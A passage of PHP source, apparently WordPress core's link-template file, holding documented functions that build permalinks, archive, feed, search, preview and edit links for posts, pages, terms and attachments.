$default_category = get_term( get_option( 'default_category' ), 'category' );
if ( $default_category && ! is_wp_error( $default_category ) ) {
$category = $default_category->slug;
}
}
}
$author = '';
if ( str_contains( $permalink, '%author%' ) ) {
$authordata = get_userdata( $post->post_author );
$author = $authordata->user_nicename;
}
/*
* This is not an API call because the permalink is based on the stored post_date value,
* which should be parsed as local time regardless of the default PHP timezone.
*/
$date = explode( ' ', str_replace( array( '-', ':' ), ' ', $post->post_date ) );
$rewritereplace = array(
$date[0],
$date[1],
$date[2],
$date[3],
$date[4],
$date[5],
$post->post_name,
$post->ID,
$category,
$author,
$post->post_name,
);
$permalink = home_url( str_replace( $rewritecode, $rewritereplace, $permalink ) );
$permalink = user_trailingslashit( $permalink, 'single' );
} else { // If they're not using the fancy permalink option.
$permalink = home_url( '?p=' . $post->ID );
}
/**
* Filters the permalink for a post.
*
* Only applies to posts with post_type of 'post'.
*
* @since 1.5.0
*
* @param string $permalink The post's permalink.
* @param WP_Post $post The post in question.
* @param bool $leavename Whether to keep the post name.
*/
return apply_filters( 'post_link', $permalink, $post, $leavename );
}
/**
* Retrieves the permalink for a post of a custom post type.
*
* @since 3.0.0
* @since 6.1.0 Returns false if the post does not exist.
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`.
* @param bool $leavename Optional. Whether to keep post name. Default false.
* @param bool $sample Optional. Is it a sample permalink. Default false.
* @return string|false The post permalink URL. False if the post does not exist.
*/
function get_post_permalink( $post = 0, $leavename = false, $sample = false ) {
global $wp_rewrite;
$post = get_post( $post );
if ( ! $post ) {
return false;
}
$post_link = $wp_rewrite->get_extra_permastruct( $post->post_type );
$slug = $post->post_name;
$force_plain_link = wp_force_plain_post_permalink( $post );
$post_type = get_post_type_object( $post->post_type );
if ( $post_type->hierarchical ) {
$slug = get_page_uri( $post );
}
if ( ! empty( $post_link ) && ( ! $force_plain_link || $sample ) ) {
if ( ! $leavename ) {
$post_link = str_replace( "%$post->post_type%", $slug, $post_link );
}
$post_link = home_url( user_trailingslashit( $post_link ) );
} else {
if ( $post_type->query_var && ( isset( $post->post_status ) && ! $force_plain_link ) ) {
$post_link = add_query_arg( $post_type->query_var, $slug, '' );
} else {
$post_link = add_query_arg(
array(
'post_type' => $post->post_type,
'p' => $post->ID,
),
''
);
}
$post_link = home_url( $post_link );
}
/**
* Filters the permalink for a post of a custom post type.
*
* @since 3.0.0
*
* @param string $post_link The post's permalink.
* @param WP_Post $post The post in question.
* @param bool $leavename Whether to keep the post name.
* @param bool $sample Is it a sample permalink.
*/
return apply_filters( 'post_type_link', $post_link, $post, $leavename, $sample );
}
/**
* Retrieves the permalink for the current page or page ID.
*
* Respects page_on_front. Use this one.
*
* @since 1.5.0
*
* @param int|WP_Post $post Optional. Post ID or object. Default uses the global `$post`.
* @param bool $leavename Optional. Whether to keep the page name. Default false.
* @param bool $sample Optional. Whether it should be treated as a sample permalink.
* Default false.
* @return string The page permalink.
*/
function get_page_link( $post = false, $leavename = false, $sample = false ) {
$post = get_post( $post );
if ( 'page' === get_option( 'show_on_front' ) && (int) get_option( 'page_on_front' ) === $post->ID ) {
$link = home_url( '/' );
} else {
$link = _get_page_link( $post, $leavename, $sample );
}
/**
* Filters the permalink for a page.
*
* @since 1.5.0
*
* @param string $link The page's permalink.
* @param int $post_id The ID of the page.
* @param bool $sample Is it a sample permalink.
*/
return apply_filters( 'page_link', $link, $post->ID, $sample );
}
/**
* Retrieves the page permalink.
*
* Ignores page_on_front. Internal use only.
*
* @since 2.1.0
* @access private
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param int|WP_Post $post Optional. Post ID or object. Default uses the global `$post`.
* @param bool $leavename Optional. Whether to keep the page name. Default false.
* @param bool $sample Optional. Whether it should be treated as a sample permalink.
* Default false.
* @return string The page permalink.
*/
function _get_page_link( $post = false, $leavename = false, $sample = false ) {
global $wp_rewrite;
$post = get_post( $post );
$force_plain_link = wp_force_plain_post_permalink( $post );
$link = $wp_rewrite->get_page_permastruct();
if ( ! empty( $link ) && ( ( isset( $post->post_status ) && ! $force_plain_link ) || $sample ) ) {
if ( ! $leavename ) {
$link = str_replace( '%pagename%', get_page_uri( $post ), $link );
}
$link = home_url( $link );
$link = user_trailingslashit( $link, 'page' );
} else {
$link = home_url( '?page_id=' . $post->ID );
}
/**
* Filters the permalink for a non-page_on_front page.
*
* @since 2.1.0
*
* @param string $link The page's permalink.
* @param int $post_id The ID of the page.
*/
return apply_filters( '_get_page_link', $link, $post->ID );
}
/**
* Retrieves the permalink for an attachment.
*
* This can be used in the WordPress Loop or outside of it.
*
* @since 2.0.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param int|WP_Post $post Optional. Post ID or object. Default uses the global `$post`.
* @param bool $leavename Optional. Whether to keep the page name. Default false.
* @return string The attachment permalink.
*/
function get_attachment_link( $post = null, $leavename = false ) {
global $wp_rewrite;
$link = false;
$post = get_post( $post );
$force_plain_link = wp_force_plain_post_permalink( $post );
$parent_id = $post->post_parent;
$parent = $parent_id ? get_post( $parent_id ) : false;
$parent_valid = true; // Default for no parent.
if (
$parent_id &&
(
$post->post_parent === $post->ID ||
! $parent ||
! is_post_type_viewable( get_post_type( $parent ) )
)
) {
// Post is either its own parent or parent post unavailable.
$parent_valid = false;
}
if ( $force_plain_link || ! $parent_valid ) {
$link = false;
} elseif ( $wp_rewrite->using_permalinks() && $parent ) {
if ( 'page' === $parent->post_type ) {
$parentlink = _get_page_link( $post->post_parent ); // Ignores page_on_front.
} else {
$parentlink = get_permalink( $post->post_parent );
}
if ( is_numeric( $post->post_name ) || str_contains( get_option( 'permalink_structure' ), '%category%' ) ) {
$name = 'attachment/' . $post->post_name; // <permalink>/<int>/ is paged so we use the explicit attachment marker.
} else {
$name = $post->post_name;
}
if ( ! str_contains( $parentlink, '?' ) ) {
$link = user_trailingslashit( trailingslashit( $parentlink ) . '%postname%' );
}
if ( ! $leavename ) {
$link = str_replace( '%postname%', $name, $link );
}
} elseif ( $wp_rewrite->using_permalinks() && ! $leavename ) {
$link = home_url( user_trailingslashit( $post->post_name ) );
}
if ( ! $link ) {
$link = home_url( '/?attachment_id=' . $post->ID );
}
/**
* Filters the permalink for an attachment.
*
* @since 2.0.0
* @since 5.6.0 Providing an empty string will now disable
* the view attachment page link on the media modal.
*
* @param string $link The attachment's permalink.
* @param int $post_id Attachment ID.
*/
return apply_filters( 'attachment_link', $link, $post->ID );
}
/**
* Retrieves the permalink for the year archives.
*
* @since 1.5.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param int|false $year Integer of year. False for current year.
* @return string The permalink for the specified year archive.
*/
function get_year_link( $year ) {
global $wp_rewrite;
if ( ! $year ) {
$year = current_time( 'Y' );
}
$yearlink = $wp_rewrite->get_year_permastruct();
if ( ! empty( $yearlink ) ) {
$yearlink = str_replace( '%year%', $year, $yearlink );
$yearlink = home_url( user_trailingslashit( $yearlink, 'year' ) );
} else {
$yearlink = home_url( '?m=' . $year );
}
/**
* Filters the year archive permalink.
*
* @since 1.5.0
*
* @param string $yearlink Permalink for the year archive.
* @param int $year Year for the archive.
*/
return apply_filters( 'year_link', $yearlink, $year );
}
/**
* Retrieves the permalink for the month archives with year.
*
* @since 1.0.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param int|false $year Integer of year. False for current year.
* @param int|false $month Integer of month. False for current month.
* @return string The permalink for the specified month and year archive.
*/
function get_month_link( $year, $month ) {
global $wp_rewrite;
if ( ! $year ) {
$year = current_time( 'Y' );
}
if ( ! $month ) {
$month = current_time( 'm' );
}
$monthlink = $wp_rewrite->get_month_permastruct();
if ( ! empty( $monthlink ) ) {
$monthlink = str_replace( '%year%', $year, $monthlink );
$monthlink = str_replace( '%monthnum%', zeroise( (int) $month, 2 ), $monthlink );
$monthlink = home_url( user_trailingslashit( $monthlink, 'month' ) );
} else {
$monthlink = home_url( '?m=' . $year . zeroise( $month, 2 ) );
}
/**
* Filters the month archive permalink.
*
* @since 1.5.0
*
* @param string $monthlink Permalink for the month archive.
* @param int $year Year for the archive.
* @param int $month The month for the archive.
*/
return apply_filters( 'month_link', $monthlink, $year, $month );
}
/**
* Retrieves the permalink for the day archives with year and month.
*
* @since 1.0.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param int|false $year Integer of year. False for current year.
* @param int|false $month Integer of month. False for current month.
* @param int|false $day Integer of day. False for current day.
* @return string The permalink for the specified day, month, and year archive.
*/
function get_day_link( $year, $month, $day ) {
global $wp_rewrite;
if ( ! $year ) {
$year = current_time( 'Y' );
}
if ( ! $month ) {
$month = current_time( 'm' );
}
if ( ! $day ) {
$day = current_time( 'j' );
}
$daylink = $wp_rewrite->get_day_permastruct();
if ( ! empty( $daylink ) ) {
$daylink = str_replace( '%year%', $year, $daylink );
$daylink = str_replace( '%monthnum%', zeroise( (int) $month, 2 ), $daylink );
$daylink = str_replace( '%day%', zeroise( (int) $day, 2 ), $daylink );
$daylink = home_url( user_trailingslashit( $daylink, 'day' ) );
} else {
$daylink = home_url( '?m=' . $year . zeroise( $month, 2 ) . zeroise( $day, 2 ) );
}
/**
* Filters the day archive permalink.
*
* @since 1.5.0
*
* @param string $daylink Permalink for the day archive.
* @param int $year Year for the archive.
* @param int $month Month for the archive.
* @param int $day The day for the archive.
*/
return apply_filters( 'day_link', $daylink, $year, $month, $day );
}
/**
* Displays the permalink for the feed type.
*
* @since 3.0.0
*
* @param string $anchor The link's anchor text.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
*/
function the_feed_link( $anchor, $feed = '' ) {
$link = '<a href="' . esc_url( get_feed_link( $feed ) ) . '">' . $anchor . '</a>';
/**
* Filters the feed link anchor tag.
*
* @since 3.0.0
*
* @param string $link The complete anchor tag for a feed link.
* @param string $feed The feed type. Possible values include 'rss2', 'atom',
* or an empty string for the default feed type.
*/
echo apply_filters( 'the_feed_link', $link, $feed );
}
/**
* Retrieves the permalink for the feed type.
*
* @since 1.5.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string The feed permalink.
*/
function get_feed_link( $feed = '' ) {
global $wp_rewrite;
$permalink = $wp_rewrite->get_feed_permastruct();
if ( $permalink ) {
if ( str_contains( $feed, 'comments_' ) ) {
$feed = str_replace( 'comments_', '', $feed );
$permalink = $wp_rewrite->get_comment_feed_permastruct();
}
if ( get_default_feed() === $feed ) {
$feed = '';
}
$permalink = str_replace( '%feed%', $feed, $permalink );
$permalink = preg_replace( '#/+#', '/', "/$permalink" );
$output = home_url( user_trailingslashit( $permalink, 'feed' ) );
} else {
if ( empty( $feed ) ) {
$feed = get_default_feed();
}
if ( str_contains( $feed, 'comments_' ) ) {
$feed = str_replace( 'comments_', 'comments-', $feed );
}
$output = home_url( "?feed={$feed}" );
}
/**
* Filters the feed type permalink.
*
* @since 1.5.0
*
* @param string $output The feed permalink.
* @param string $feed The feed type. Possible values include 'rss2', 'atom',
* or an empty string for the default feed type.
*/
return apply_filters( 'feed_link', $output, $feed );
}
/**
* Retrieves the permalink for the post comments feed.
*
* @since 2.2.0
*
* @param int $post_id Optional. Post ID. Default is the ID of the global `$post`.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string The permalink for the comments feed for the given post on success, empty string on failure.
*/
function get_post_comments_feed_link( $post_id = 0, $feed = '' ) {
$post_id = absint( $post_id );
if ( ! $post_id ) {
$post_id = get_the_ID();
}
if ( empty( $feed ) ) {
$feed = get_default_feed();
}
$post = get_post( $post_id );
// Bail out if the post does not exist.
if ( ! $post instanceof WP_Post ) {
return '';
}
$unattached = 'attachment' === $post->post_type && 0 === (int) $post->post_parent;
if ( get_option( 'permalink_structure' ) ) {
if ( 'page' === get_option( 'show_on_front' ) && (int) get_option( 'page_on_front' ) === $post_id ) {
$url = _get_page_link( $post_id );
} else {
$url = get_permalink( $post_id );
}
if ( $unattached ) {
$url = home_url( '/feed/' );
if ( get_default_feed() !== $feed ) {
$url .= "$feed/";
}
$url = add_query_arg( 'attachment_id', $post_id, $url );
} else {
$url = trailingslashit( $url ) . 'feed';
if ( get_default_feed() !== $feed ) {
$url .= "/$feed";
}
$url = user_trailingslashit( $url, 'single_feed' );
}
} else {
if ( $unattached ) {
$url = add_query_arg(
array(
'feed' => $feed,
'attachment_id' => $post_id,
),
home_url( '/' )
);
} elseif ( 'page' === $post->post_type ) {
$url = add_query_arg(
array(
'feed' => $feed,
'page_id' => $post_id,
),
home_url( '/' )
);
} else {
$url = add_query_arg(
array(
'feed' => $feed,
'p' => $post_id,
),
home_url( '/' )
);
}
}
/**
* Filters the post comments feed permalink.
*
* @since 1.5.1
*
* @param string $url Post comments feed permalink.
*/
return apply_filters( 'post_comments_feed_link', $url );
}
/**
* Displays the comment feed link for a post.
*
* Prints out the comment feed link for a post. Link text is placed in the
* anchor. If no link text is specified, default text is used. If no post ID is
* specified, the current post is used.
*
* @since 2.5.0
*
* @param string $link_text Optional. Descriptive link text. Default 'Comments Feed'.
* @param int $post_id Optional. Post ID. Default is the ID of the global `$post`.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
*/
function post_comments_feed_link( $link_text = '', $post_id = '', $feed = '' ) {
$url = get_post_comments_feed_link( $post_id, $feed );
if ( empty( $link_text ) ) {
$link_text = __( 'Comments Feed' );
}
$link = '<a href="' . esc_url( $url ) . '">' . $link_text . '</a>';
/**
* Filters the post comment feed link anchor tag.
*
* @since 2.8.0
*
* @param string $link The complete anchor tag for the comment feed link.
* @param int $post_id Post ID.
* @param string $feed The feed type. Possible values include 'rss2', 'atom',
* or an empty string for the default feed type.
*/
echo apply_filters( 'post_comments_feed_link_html', $link, $post_id, $feed );
}
/**
* Retrieves the feed link for a given author.
*
* Returns a link to the feed for all posts by a given author. A specific feed
* can be requested or left blank to get the default feed.
*
* @since 2.5.0
*
* @param int $author_id Author ID.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string Link to the feed for the author specified by $author_id.
*/
function get_author_feed_link( $author_id, $feed = '' ) {
$author_id = (int) $author_id;
$permalink_structure = get_option( 'permalink_structure' );
if ( empty( $feed ) ) {
$feed = get_default_feed();
}
if ( ! $permalink_structure ) {
$link = home_url( "?feed=$feed&author=" . $author_id );
} else {
$link = get_author_posts_url( $author_id );
if ( get_default_feed() === $feed ) {
$feed_link = 'feed';
} else {
$feed_link = "feed/$feed";
}
$link = trailingslashit( $link ) . user_trailingslashit( $feed_link, 'feed' );
}
/**
* Filters the feed link for a given author.
*
* @since 1.5.1
*
* @param string $link The author feed link.
* @param string $feed Feed type. Possible values include 'rss2', 'atom'.
*/
$link = apply_filters( 'author_feed_link', $link, $feed );
return $link;
}
/**
* Retrieves the feed link for a category.
*
* Returns a link to the feed for all posts in a given category. A specific feed
* can be requested or left blank to get the default feed.
*
* @since 2.5.0
*
* @param int|WP_Term|object $cat The ID or category object whose feed link will be retrieved.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string Link to the feed for the category specified by `$cat`.
*/
function get_category_feed_link( $cat, $feed = '' ) {
return get_term_feed_link( $cat, 'category', $feed );
}
/**
* Retrieves the feed link for a term.
*
* Returns a link to the feed for all posts in a given term. A specific feed
* can be requested or left blank to get the default feed.
*
* @since 3.0.0
*
* @param int|WP_Term|object $term The ID or term object whose feed link will be retrieved.
* @param string $taxonomy Optional. Taxonomy of `$term_id`.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string|false Link to the feed for the term specified by `$term` and `$taxonomy`.
*/
function get_term_feed_link( $term, $taxonomy = '', $feed = '' ) {
if ( ! is_object( $term ) ) {
$term = (int) $term;
}
$term = get_term( $term, $taxonomy );
if ( empty( $term ) || is_wp_error( $term ) ) {
return false;
}
$taxonomy = $term->taxonomy;
if ( empty( $feed ) ) {
$feed = get_default_feed();
}
$permalink_structure = get_option( 'permalink_structure' );
if ( ! $permalink_structure ) {
if ( 'category' === $taxonomy ) {
$link = home_url( "?feed=$feed&cat=$term->term_id" );
} elseif ( 'post_tag' === $taxonomy ) {
$link = home_url( "?feed=$feed&tag=$term->slug" );
} else {
$t = get_taxonomy( $taxonomy );
$link = home_url( "?feed=$feed&$t->query_var=$term->slug" );
}
} else {
$link = get_term_link( $term, $term->taxonomy );
if ( get_default_feed() === $feed ) {
$feed_link = 'feed';
} else {
$feed_link = "feed/$feed";
}
$link = trailingslashit( $link ) . user_trailingslashit( $feed_link, 'feed' );
}
if ( 'category' === $taxonomy ) {
/**
* Filters the category feed link.
*
* @since 1.5.1
*
* @param string $link The category feed link.
* @param string $feed Feed type. Possible values include 'rss2', 'atom'.
*/
$link = apply_filters( 'category_feed_link', $link, $feed );
} elseif ( 'post_tag' === $taxonomy ) {
/**
* Filters the post tag feed link.
*
* @since 2.3.0
*
* @param string $link The tag feed link.
* @param string $feed Feed type. Possible values include 'rss2', 'atom'.
*/
$link = apply_filters( 'tag_feed_link', $link, $feed );
} else {
/**
* Filters the feed link for a taxonomy other than 'category' or 'post_tag'.
*
* @since 3.0.0
*
* @param string $link The taxonomy feed link.
* @param string $feed Feed type. Possible values include 'rss2', 'atom'.
* @param string $taxonomy The taxonomy name.
*/
$link = apply_filters( 'taxonomy_feed_link', $link, $feed, $taxonomy );
}
return $link;
}
/**
* Retrieves the permalink for a tag feed.
*
* @since 2.3.0
*
* @param int|WP_Term|object $tag The ID or term object whose feed link will be retrieved.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string The feed permalink for the given tag.
*/
function get_tag_feed_link( $tag, $feed = '' ) {
return get_term_feed_link( $tag, 'post_tag', $feed );
}
/**
* Retrieves the edit link for a tag.
*
* @since 2.7.0
*
* @param int|WP_Term|object $tag The ID or term object whose edit link will be retrieved.
* @param string $taxonomy Optional. Taxonomy slug. Default 'post_tag'.
* @return string The edit tag link URL for the given tag.
*/
function get_edit_tag_link( $tag, $taxonomy = 'post_tag' ) {
/**
* Filters the edit link for a tag (or term in another taxonomy).
*
* @since 2.7.0
*
* @param string $link The term edit link.
*/
return apply_filters( 'get_edit_tag_link', get_edit_term_link( $tag, $taxonomy ) );
}
/**
* Displays or retrieves the edit link for a tag with formatting.
*
* @since 2.7.0
*
* @param string $link Optional. Anchor text. If empty, default is 'Edit This'. Default empty.
* @param string $before Optional. Display before edit link. Default empty.
* @param string $after Optional. Display after edit link. Default empty.
* @param WP_Term $tag Optional. Term object. If null, the queried object will be inspected.
* Default null.
*/
function edit_tag_link( $link = '', $before = '', $after = '', $tag = null ) {
$link = edit_term_link( $link, '', '', $tag, false );
/**
* Filters the anchor tag for the edit link for a tag (or term in another taxonomy).
*
* @since 2.7.0
*
* @param string $link The anchor tag for the edit link.
*/
echo $before . apply_filters( 'edit_tag_link', $link ) . $after;
}
/**
* Retrieves the URL for editing a given term.
*
* @since 3.1.0
* @since 4.5.0 The `$taxonomy` parameter was made optional.
*
* @param int|WP_Term|object $term The ID or term object whose edit link will be retrieved.
* @param string $taxonomy Optional. Taxonomy. Defaults to the taxonomy of the term identified
* by `$term`.
* @param string $object_type Optional. The object type. Used to highlight the proper post type
* menu on the linked page. Defaults to the first object_type associated
* with the taxonomy.
* @return string|null The edit term link URL for the given term, or null on failure.
*/
function get_edit_term_link( $term, $taxonomy = '', $object_type = '' ) {
$term = get_term( $term, $taxonomy );
if ( ! $term || is_wp_error( $term ) ) {
return;
}
$tax = get_taxonomy( $term->taxonomy );
$term_id = $term->term_id;
if ( ! $tax || ! current_user_can( 'edit_term', $term_id ) ) {
return;
}
$args = array(
'taxonomy' => $taxonomy,
'tag_ID' => $term_id,
);
if ( $object_type ) {
$args['post_type'] = $object_type;
} elseif ( ! empty( $tax->object_type ) ) {
$args['post_type'] = reset( $tax->object_type );
}
if ( $tax->show_ui ) {
$location = add_query_arg( $args, admin_url( 'term.php' ) );
} else {
$location = '';
}
/**
* Filters the edit link for a term.
*
* @since 3.1.0
*
* @param string $location The edit link.
* @param int $term_id Term ID.
* @param string $taxonomy Taxonomy name.
* @param string $object_type The object type.
*/
return apply_filters( 'get_edit_term_link', $location, $term_id, $taxonomy, $object_type );
}
/**
* Displays or retrieves the edit term link with formatting.
*
* @since 3.1.0
*
* @param string $link Optional. Anchor text. If empty, default is 'Edit This'. Default empty.
* @param string $before Optional. Display before edit link. Default empty.
* @param string $after Optional. Display after edit link. Default empty.
* @param int|WP_Term|null $term Optional. Term ID or object. If null, the queried object will be inspected. Default null.
* @param bool $display Optional. Whether or not to echo the return. Default true.
* @return string|void HTML content.
*/
function edit_term_link( $link = '', $before = '', $after = '', $term = null, $display = true ) {
if ( is_null( $term ) ) {
$term = get_queried_object();
} else {
$term = get_term( $term );
}
if ( ! $term ) {
return;
}
$tax = get_taxonomy( $term->taxonomy );
if ( ! current_user_can( 'edit_term', $term->term_id ) ) {
return;
}
if ( empty( $link ) ) {
$link = __( 'Edit This' );
}
$link = '<a href="' . get_edit_term_link( $term->term_id, $term->taxonomy ) . '">' . $link . '</a>';
/**
* Filters the anchor tag for the edit link of a term.
*
* @since 3.1.0
*
* @param string $link The anchor tag for the edit link.
* @param int $term_id Term ID.
*/
$link = $before . apply_filters( 'edit_term_link', $link, $term->term_id ) . $after;
if ( $display ) {
echo $link;
} else {
return $link;
}
}
/**
* Retrieves the permalink for a search.
*
* @since 3.0.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $query Optional. The query string to use. If empty the current query is used. Default empty.
* @return string The search permalink.
*/
function get_search_link( $query = '' ) {
global $wp_rewrite;
if ( empty( $query ) ) {
$search = get_search_query( false );
} else {
$search = stripslashes( $query );
}
$permastruct = $wp_rewrite->get_search_permastruct();
if ( empty( $permastruct ) ) {
$link = home_url( '?s=' . urlencode( $search ) );
} else {
$search = urlencode( $search );
$search = str_replace( '%2F', '/', $search ); // %2F(/) is not valid within a URL, send it un-encoded.
$link = str_replace( '%search%', $search, $permastruct );
$link = home_url( user_trailingslashit( $link, 'search' ) );
}
/**
* Filters the search permalink.
*
* @since 3.0.0
*
* @param string $link Search permalink.
* @param string $search The URL-encoded search term.
*/
return apply_filters( 'search_link', $link, $search );
}
/**
* Retrieves the permalink for the search results feed.
*
* @since 2.5.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $search_query Optional. Search query. Default empty.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string The search results feed permalink.
*/
function get_search_feed_link( $search_query = '', $feed = '' ) {
global $wp_rewrite;
$link = get_search_link( $search_query );
if ( empty( $feed ) ) {
$feed = get_default_feed();
}
$permastruct = $wp_rewrite->get_search_permastruct();
if ( empty( $permastruct ) ) {
$link = add_query_arg( 'feed', $feed, $link );
} else {
$link = trailingslashit( $link );
$link .= "feed/$feed/";
}
/**
* Filters the search feed link.
*
* @since 2.5.0
*
* @param string $link Search feed link.
* @param string $feed Feed type. Possible values include 'rss2', 'atom'.
* @param string $type The search type. One of 'posts' or 'comments'.
*/
return apply_filters( 'search_feed_link', $link, $feed, 'posts' );
}
/**
* Retrieves the permalink for the search results comments feed.
*
* @since 2.5.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $search_query Optional. Search query. Default empty.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string The comments feed search results permalink.
*/
function get_search_comments_feed_link( $search_query = '', $feed = '' ) {
global $wp_rewrite;
if ( empty( $feed ) ) {
$feed = get_default_feed();
}
$link = get_search_feed_link( $search_query, $feed );
$permastruct = $wp_rewrite->get_search_permastruct();
if ( empty( $permastruct ) ) {
$link = add_query_arg( 'feed', 'comments-' . $feed, $link );
} else {
$link = add_query_arg( 'withcomments', 1, $link );
}
/** This filter is documented in wp-includes/link-template.php */
return apply_filters( 'search_feed_link', $link, $feed, 'comments' );
}
/**
* Retrieves the permalink for a post type archive.
*
* @since 3.1.0
* @since 4.5.0 Support for posts was added.
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
*
* @param string $post_type Post type.
* @return string|false The post type archive permalink. False if the post type
* does not exist or does not have an archive.
*/
function get_post_type_archive_link( $post_type ) {
global $wp_rewrite;
$post_type_obj = get_post_type_object( $post_type );
if ( ! $post_type_obj ) {
return false;
}
if ( 'post' === $post_type ) {
$show_on_front = get_option( 'show_on_front' );
$page_for_posts = get_option( 'page_for_posts' );
if ( 'page' === $show_on_front && $page_for_posts ) {
$link = get_permalink( $page_for_posts );
} else {
$link = get_home_url();
}
/** This filter is documented in wp-includes/link-template.php */
return apply_filters( 'post_type_archive_link', $link, $post_type );
}
if ( ! $post_type_obj->has_archive ) {
return false;
}
if ( get_option( 'permalink_structure' ) && is_array( $post_type_obj->rewrite ) ) {
$struct = ( true === $post_type_obj->has_archive ) ? $post_type_obj->rewrite['slug'] : $post_type_obj->has_archive;
if ( $post_type_obj->rewrite['with_front'] ) {
$struct = $wp_rewrite->front . $struct;
} else {
$struct = $wp_rewrite->root . $struct;
}
$link = home_url( user_trailingslashit( $struct, 'post_type_archive' ) );
} else {
$link = home_url( '?post_type=' . $post_type );
}
/**
* Filters the post type archive permalink.
*
* @since 3.1.0
*
* @param string $link The post type archive permalink.
* @param string $post_type Post type name.
*/
return apply_filters( 'post_type_archive_link', $link, $post_type );
}
/**
* Retrieves the permalink for a post type archive feed.
*
* @since 3.1.0
*
* @param string $post_type Post type.
* @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'.
* Default is the value of get_default_feed().
* @return string|false The post type feed permalink. False if the post type
* does not exist or does not have an archive.
*/
function get_post_type_archive_feed_link( $post_type, $feed = '' ) {
$default_feed = get_default_feed();
if ( empty( $feed ) ) {
$feed = $default_feed;
}
$link = get_post_type_archive_link( $post_type );
if ( ! $link ) {
return false;
}
$post_type_obj = get_post_type_object( $post_type );
if ( get_option( 'permalink_structure' ) && is_array( $post_type_obj->rewrite ) && $post_type_obj->rewrite['feeds'] ) {
$link = trailingslashit( $link );
$link .= 'feed/';
if ( $feed !== $default_feed ) {
$link .= "$feed/";
}
} else {
$link = add_query_arg( 'feed', $feed, $link );
}
/**
* Filters the post type archive feed link.
*
* @since 3.1.0
*
* @param string $link The post type archive feed link.
* @param string $feed Feed type. Possible values include 'rss2', 'atom'.
*/
return apply_filters( 'post_type_archive_feed_link', $link, $feed );
}
/**
* Retrieves the URL used for the post preview.
*
* Allows additional query args to be appended.
*
* @since 4.4.0
*
* @param int|WP_Post $post Optional. Post ID or `WP_Post` object. Defaults to global `$post`.
* @param array $query_args Optional. Array of additional query args to be appended to the link.
* Default empty array.
* @param string $preview_link Optional. Base preview link to be used if it should differ from the
* post permalink. Default empty.
* @return string|null URL used for the post preview, or null if the post does not exist.
*/
function get_preview_post_link( $post = null, $query_args = array(), $preview_link = '' ) {
$post = get_post( $post );
if ( ! $post ) {
return;
}
$post_type_object = get_post_type_object( $post->post_type );
if ( is_post_type_viewable( $post_type_object ) ) {
if ( ! $preview_link ) {
$preview_link = set_url_scheme( get_permalink( $post ) );
}
$query_args['preview'] = 'true';
$preview_link = add_query_arg( $query_args, $preview_link );
}
/**
* Filters the URL used for a post preview.
*
* @since 2.0.5
* @since 4.0.0 Added the `$post` parameter.
*
* @param string $preview_link URL used for the post preview.
* @param WP_Post $post Post object.
*/
return apply_filters( 'preview_post_link', $preview_link, $post );
}
/**
* Retrieves the edit post link for post.
*
* Can be used within the WordPress loop or outside of it. Can be used with
* pages, posts, attachments, revisions, global styles, templates, and template parts.
*
* @since 2.3.0
* @since 6.3.0 Adds custom link for wp_navigation post types.
* Adds custom links for wp_template_part and wp_template post types.
*
* @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`.
* @param string $context Optional. How to output the '&' character. Default '&'.
* @return string|null The edit post link for the given post. Null if the post type does not exist
* or does not allow an editing UI.
*/
function get_edit_post_link( $post = 0, $context = 'display' ) {
$post = get_post( $post );
if ( ! $post ) {
return;
}
if ( 'revision' === $post->post_type ) {
$action = '';
} elseif ( 'display' === $context ) {
$action = '&action=edit';
} else {
$action = '&action=edit';
}
$post_type_object = get_post_type_object( $post->post_type );
if ( ! $post_type_object ) {
return;
}
if ( ! current_user_can( 'edit_post', $post->ID ) ) {
return;
}
$link = '';
if ( 'wp_template' === $post->post_type || 'wp_template_part' === $post->post_type ) {
$slug = urlencode( get_stylesheet() . '//' . $post->post_name );
$link = admin_url( sprintf( $post_type_object->_edit_link, $post->post_type, $slug ) );
} elseif ( 'wp_navigation' === $post->post_type ) {
$link = admin_url( sprintf( $post_type_object->_edit_link, (string) $post->ID ) );
} elseif ( $post_type_object->_edit_link ) {
$link = admin_url( sprintf( $post_type_object->_edit_link . $action, $post->ID ) );
}
/**
* Filters the post edit link.
*
* @since 2.3.0
*
* @param string $link The edit link.
* @param int $post_id Post ID.
* @param string $context The link context. If set to 'display' then ampersands
* are encoded.
*/
return apply_filters( 'get_edit_post_link', $link, $post->ID, $context );
}
/**
* Displays the edit post link for post.
*
* @since 1.0.0
* @since 4.4.0 The `$css_class` argument was added.
*
* @param string $text Optional. Anchor text. If null, default is 'Edit This'. Default null.
* @param string $before Optional. Display before edit link. Default empty.
* @param string $after Optional. Display after edit link. Default empty.
* @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`.
